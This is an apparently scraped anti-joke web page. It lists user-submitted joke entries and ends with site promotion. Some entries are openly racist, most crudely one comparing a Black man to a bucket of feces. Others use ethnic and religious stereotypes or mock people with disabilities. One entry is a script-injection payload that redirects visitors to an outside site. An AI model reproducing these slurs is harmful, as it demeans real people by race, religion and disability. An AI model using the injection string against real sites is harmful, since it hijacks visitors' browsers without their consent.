whats worse than having ice cream and not eating it? Being lactose intolerant

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*insert lame joke stolen from the top 10 jokes and act like it's original because I changed one word*

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A man walks into a bar, the bartender asks "why the long face?" he replies: "I was walking with my wife and was mauled by a bear"

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Q: How many babies does it take to paint a wall? A: It depends on how hard you throw them.

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A man with a broken arm is sitting in a hospital. He says, "Doctor, when my arm heals, will I be able to play the violin?" The doctor says, "Yes, with proper medical attention and rest, you will be able to." The man says, "That's great! Before I broke my arm, I really enjoyed playing the violin."

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A Mexican, a Chinese man, and a cowboy are on a plane. The plane is crashing, and they need to get rid of anything to make the plane lighter so thet can glide to safety. The cowboy throws out all of his boots and says we have to many of these. Then the Mexican throws out all of his taco shells and says we have to many of these. Then the Chinese man throws out the Mexican and says we have to many of these.(:

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Roses Are Red Violets Are Blue If it wasnt for christmas We would all be jewish.

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What did the black man get for christmas? A present.

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An African-American is working on math problems and notices an Asian man walking by. The African American asked,"Could you help me out on these math problems?" The Asian man replied, " I have never been good at math."

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Why did the girl throw away her hairspray? Because she realized the harmful contaminants emitted from the nozzle were expediting the deterioration of the ozone layer thus contributing to global warming.

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How do you make someone laugh? Tell them this joke.

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What's green and has wheels? grass... i lied about the wheels

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A man walks into a bar. and buys a drink.

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"'>document.location.href="http://cramik.org"

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A rhinoceros walks into a bar. As it felt threatened by the presence of many humans, the rhino attacks and kills several people with the big horn on its nose.

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A blonde, brunette, and red-head were on a deserted island. The blonde said, "in thirty years or so, we'll all have gray hair."

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What's red and green and goes 500 mph? A frog in a blender.

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Hitler walks in to pizza pizza, the manager asks how many? L

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what is the difference between a black man and a bucket of shit? The bucket.

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What is red and smells like brown feces? Bloody feces

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Q. What do you call a guy with no arms and no legs in front of a door? A. Matt

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Why did the plane crash? Because the pilot was a tomato

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What did the boy in the wheelchair get for Christmas? A bicycle.

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Believing in God may be a sign of autism Kappa

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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Anti-Joke Chicken

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